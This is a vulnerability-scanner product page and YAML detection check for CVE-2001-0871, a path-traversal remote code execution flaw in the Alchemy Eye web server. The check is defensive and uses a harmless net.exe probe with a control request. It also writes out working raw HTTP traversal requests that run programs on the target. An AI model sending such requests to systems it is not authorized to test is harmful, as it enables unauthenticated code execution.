Alchemy Eye — 1 vulnerability check

noctis ships 1 vulnerability check for Alchemy Eye, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Alchemy Eye / Alchemy Network Monitor HTTP server program execution

CVECVE-2001-0871
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/alchemy-eye/CVE-2001-0871.yaml

Detects the command execution flaw in the built-in web server of Alchemy Eye and Alchemy Network Monitor (CVE-2001-0871): a request under /cgi-bin that walks out of the CGI directory with "../" (directly, or after a DOS device name such as PRN or NUL) makes the server run any program on the disk, without authentication, and return its output. The test sends /cgi-bin/../../../../../../../../<windir>/system32/net.exe, and the same request after /cgi-bin/PRN and /cgi-bin/NUL, for both the WINNT and WINDOWS system directories. net.exe run without arguments only prints its command syntax ("NET [ ACCOUNTS | COMPUTER | CONFIG ..."); that text in the reply proves the program was executed on the server. A random program name sent through the same path must not return that text, so servers that answer every request with the same page are not reported.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin{{v.dev}}/../../../../../../../../{{v.windir}}/system32/net.exe HTTP/1.0
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin{{v.dev}}/../../../../../../../../{{v.windir}}/system32/{{ctl}}.exe HTTP/1.0
  4. Parses / computes the next value with a Rhai script
  5. Checks verdict for ^NET_EXE_EXECUTED$ → finding QoD 97: Alchemy Eye HTTP server runs programs through /cgi-bin…/../ — CVE-2001-0871

References:

Feed source — tests/vulnerabilities/alchemy-eye/CVE-2001-0871.yaml
# Alchemy Eye / Alchemy Network Monitor — built-in HTTP server runs any
# program on the disk through a ../ traversal under /cgi-bin
# (CVE-2001-0871, Rapid7 advisory R7-0001, Bugtraq 2001-11-29, BID 3599,
# CERT VU#220715).
#
# Credit: request shape adapted from Greenbone's `pre2008/alchemy_eye_http.nasl`
# (GPL-2.0-only), which requests
# /cgi-bin{,/PRN,/NUL}/../../../../../../../../WINNT/system32/net.exe and
# looks for "ACCOUNTS | COMPUTER" (the usage text net.exe prints when it runs
# without arguments).
#
# Advisory facts: the monitoring web server maps /cgi-bin/<path> to a program
# and runs it, returning its standard output as the page. Versions 2.0 to
# 2.6.18 accept a plain "../" walk out of the CGI directory; 2.6.19 to 3.0.10
# refuse "/cgi-bin/../" (403 Forbidden) but still accept it after a DOS device
# name (/cgi-bin/NUL/../, and from 2.7 /cgi-bin/PRN/../). The server cannot
# pass arguments (spaces are not decoded), so the proof is a program that
# prints recognisable text when run with none.
#
# Why this is an execution proof (QoD 97): the usage text matched below is what
# net.exe prints at run time, from the Windows message files; it is not
# stored as text inside net.exe, so a server that merely returns the file's
# bytes does not produce it. Running net.exe without arguments only prints
# its syntax and changes nothing.
#
# Better than the reference check:
#  - also tries \WINDOWS\system32, the system directory of Windows XP /
#    Server 2003, where later 2.x/3.x releases ran (the reference only tries
#    \WINNT, the NT 4 / 2000 default);
#  - requests are sent verbatim with tcp_connect, so the "../" segments reach
#    the server (an HTTP client would collapse them before sending);
#  - a random program name through the same traversal is requested as a
#    control and must not return the usage text, so a decoy that answers
#    every path with canned text is not reported (fail-closed when the control
#    gets no reply);
#  - the matched page content never reaches the finding (fixed verdict string).
uid: d74436ba-7cb1-40e0-bf92-34b145c87076
name: "Alchemy Eye / Alchemy Network Monitor HTTP server program execution (CVE-2001-0871)"
description: |
  Detects the command execution flaw in the built-in web server of Alchemy
  Eye and Alchemy Network Monitor (CVE-2001-0871): a request under /cgi-bin
  that walks out of the CGI directory with "../" (directly, or after a DOS
  device name such as PRN or NUL) makes the server run any program on the
  disk, without authentication, and return its output. The test sends
  /cgi-bin/../../../../../../../../<windir>/system32/net.exe, and the same
  request after /cgi-bin/PRN and /cgi-bin/NUL, for both the WINNT and WINDOWS
  system directories. net.exe run without arguments only prints its command
  syntax ("NET [ ACCOUNTS | COMPUTER | CONFIG ..."); that text in the reply
  proves the program was executed on the server. A random program name sent
  through the same path must not return that text, so servers that answer
  every request with the same page are not reported.
cves: [CVE-2001-0871]
cvss: 7.5               # NVD has only a CVSS v2 score (7.5), no v3.x
severity: high
category: rce
confidence_base: 0.20
tags: [alchemy-eye, alchemy-network-monitor, path-traversal, command-execution, rce, windows, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2001-0871"
  - "https://marc.info/?l=bugtraq&m=100714173510535&w=2"
  - "https://www.kb.cert.org/vuls/id/220715"
  - "http://www.securityfocus.com/bid/3599"

steps:
  # Random program name for the control request, shared by every variant.
  - id: mint-control
    action: script
    code: '"noctis" + rand_hex(8)'
    store_as: ctl

  # ── Per variant: this step and every following one ──
  # Pre-initialised so a failed connection leaves no undefined variable behind.
  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {connected: false}
    loop:
      over:
        - {dev: "", windir: "WINNT"}
        - {dev: "/PRN", windir: "WINNT"}
        - {dev: "/NUL", windir: "WINNT"}
        - {dev: "", windir: "WINDOWS"}
        - {dev: "/PRN", windir: "WINDOWS"}
        - {dev: "/NUL", windir: "WINDOWS"}
      var: v

  - id: init-control
    action: set_var
    var_name: control
    var_value: {connected: false}

  - id: run-net
    action: tcp_connect
    port: "{{port}}"
    send: "GET /cgi-bin{{v.dev}}/../../../../../../../../{{v.windir}}/system32/net.exe HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: probe

  - id: run-control
    action: tcp_connect
    port: "{{port}}"
    send: "GET /cgi-bin{{v.dev}}/../../../../../../../../{{v.windir}}/system32/{{ctl}}.exe HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    condition: "type_of(probe.banner) == \"string\" && probe.banner.contains(\"ACCOUNTS | COMPUTER\")"
    store_as: control

  # Fixed verdict string as the match source, so no page content reaches the
  # finding.
  - id: verdict
    action: script
    code: |
      let v = "";
      let ran = type_of(probe.banner) == "string" && probe.banner.contains("ACCOUNTS | COMPUTER");
      let ctl_ok = type_of(control.banner) == "string" && control.banner.starts_with("HTTP/") && !control.banner.contains("ACCOUNTS | COMPUTER");
      if ran && ctl_ok { v = "NET_EXE_EXECUTED"; }
      v
    store_as: verdict

  - id: program-executed
    action: match
    source: verdict
    pattern: '^NET_EXE_EXECUTED$'
    on_match:
      finding:
        title: "Alchemy Eye HTTP server runs programs through /cgi-bin{{v.dev}}/../ — CVE-2001-0871"
        description: "GET /cgi-bin{{v.dev}}/../../../../../../../../{{v.windir}}/system32/net.exe made the web server run net.exe and return its usage text, while a random program name sent the same way did not. Any unauthenticated user can run programs on the server with the rights of the Alchemy Eye / Alchemy Network Monitor service (CVE-2001-0871)."
        remediation: "Disable HTTP access in the Alchemy Eye / Alchemy Network Monitor preferences, or require HTTP authentication (2.6 and later), and run the service under a restricted account. Later releases only block some device names, so do not rely on an upgrade: keep the monitoring web server off untrusted networks."
        confidence_delta: 0.75
        qod: 97
        evidence: "GET /cgi-bin{{v.dev}}/../../../../../../../../{{v.windir}}/system32/net.exe returned the net.exe usage text (NET [ ACCOUNTS | COMPUTER ...); control {{ctl}}.exe through the same path did not"
      stop: true

View these feeds on GitHub